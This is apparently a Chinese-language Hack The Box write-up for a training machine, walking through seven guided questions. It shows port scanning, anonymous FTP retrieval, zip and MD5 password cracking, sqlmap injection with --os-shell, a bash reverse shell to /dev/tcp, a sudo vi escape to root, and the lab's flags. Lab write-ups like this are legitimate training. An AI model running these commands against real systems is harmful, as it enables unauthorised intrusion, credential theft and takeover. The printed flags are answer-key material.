目录
连接至HTB服务器并启动靶机
1.Besides SSH and HTTP, what other service is hosted on this box?
2.This service can be configured to allow login with any password for specific username. What is that username?
3.What is the name of the file downloaded over this service?
4.What script comes with the John The Ripper toolset and generates a hash from a password protected zip archive in a format to allow for cracking attempts?
5.What is the password for the admin user on the website?
6.What option can be passed to sqlmap to try to get command execution via the sql injection?
7.What program can the postgres user run as root using sudo?
USER_FLAG:ec9b13ca4d6229cd5cc1e09980965bf7
ROOT_FLAG:dd6e058e814260bc70e9bbdef2715849
连接至HTB服务器并启动靶机
靶机IP:10.129.201.120
分配IP:10.10.16.48
1.Besides SSH and HTTP, what other service is hosted on this box?
使用fscan扫描靶机端口:
fscan -nobr -nopoc -np -h {TARGET_IP}
再使用nmap对靶机已开启的端口进行服务信息扫描:
nmap -p 21,22,80 -sC -sV {TARGET_IP}
从nmap扫描结果可见,除了SSH、HTTP服务外,靶机还开启了FTP服务
2.This service can be configured to allow login with any password for specific username. What is that username?
可以看到该FTP服务已启用匿名登录,用户名是:Anonymous
3.What is the name of the file downloaded over this service?
其实,此处通过nmap扫描结果已经能看出文件是:backup.zip
连接靶机FTP服务,名字输入:Anonymous,密码随便输入即可:
ftp {TARGET_IP}
使用dir命令列出所有文件可见backup.zip
4.What script comes with the John The Ripper toolset and generates a hash from a password protected zip archive in a format to allow for cracking attempts?
将backup.zip文件下载到本地:
get backup.zip
直接解压提示需要密码,将下载到的文件丢到ARCHPR中进行暴力破解:
获得backup.zip文件口令:741852963
回看题目,要求与john工具配合破解,使用zip2john将backup.zip文件转成哈希值:
zip2john backup.zip > hash
使用john对哈希值进行爆破,自行选用字典:
john -w={YOUR_DICTIONARY} hash
获得backup.zip文件口令:741852963
5.What is the password for the admin user on the website?
使用口令对backup.zip文件进行解压,获得两个文件 index.php、style.css
首先查看index.php文件内容:
strings index.php
可以看到用户:admin 的密码经过了MD5加密:
2cb42f8734ea607eefed3b70af13bbd3
扔进MD5在线解密(bushi):
忘了刚才的操作吧孩子,现在我们使用hashcat尝试对该密文进行解密:
首先将该密文写入任一文件中:
echo '2cb42f8734ea607eefed3b70af13bbd3' > hash
使用hashcat对文件进行爆破解密:
hashcat -a 0 -m 0 hash {YOUR_DICTIONARY}
- -a 0:指定攻击模式为字典攻击
- -m 0:指定哈希类型为MD5
最终也是顺利拿到了明文:qwerty789
6.What option can be passed to sqlmap to try to get command execution via the sql injection?
通过浏览器直接访问靶机HTTP服务,并输入从上文得到的账户和密码:
点击SIGN IN进入后,可以看到右上角一个大大的SEARCH等着我们进行注入
通过Cookie-Editor插件,我们获取到了通过admin账户登录的Cookie值:
q8sjoos31otuhutbok580vap5s
接下来在SEARCH处随便输入一些字符获取完整URL,直接使用sqlmap进行自动注入:
sqlmap -u 'http://{TARGET_IP}/dashboard.php?search=666666' --cookie="PHPSESSID=q8sjoos31otuhutbok580vap5s" --batch --dbs
浏览一下完整输出,这里爆出几个数据库不重要:
接着使用--os-shell参数写入shell:
sqlmap -u 'http://{TARGET_IP}/dashboard.php?search=666666' --cookie='PHPSESSID=q8sjoos31otuhutbok580vap5s' --os-shell
7.What program can the postgres user run as root using sudo?
本地端开启nc持续监听:
os-shell端执行payload反弹shell:
bash -c "bash -i >& /dev/tcp/{NATIVE_IP}/{NATIVE_PORT} 0>&1"
通过python提升tty获取交互shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
使用find命令找一下user.txt文件,HTB中的user_flag一般都在这:
find / -name 'user.txt' 2>/dev/null
USER_FLAG:ec9b13ca4d6229cd5cc1e09980965bf7
接着查找所有.php后缀的文件:
find / -name '*.php' 2>/dev/null
前面我们已经审计过index.php,接下来我们查看dashboard.php中的内容:
查看dashboard.php文件内容:
cat /var/www/html/dashboard.php
用户:postgres
密码:P@s5w0rd!
通过用户名:postgres判断,这有可能是个PostgreSQL账户,尝试SSH登录:
ssh postgres@{TARGET_IP}
列出当前用户可以sudo执行的命令:
可见当前用户可以sudo执行vi命令打开:/etc/postgresql/11/main/pg_hba.conf
直接使用sudo执行该命令:
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
使用vi命令进入该文件后输入:!/bin/bash ,启动shell:
提权成功:
再次使用find命令查找root.txt文件位置,使用cat查看root.txt文件内容: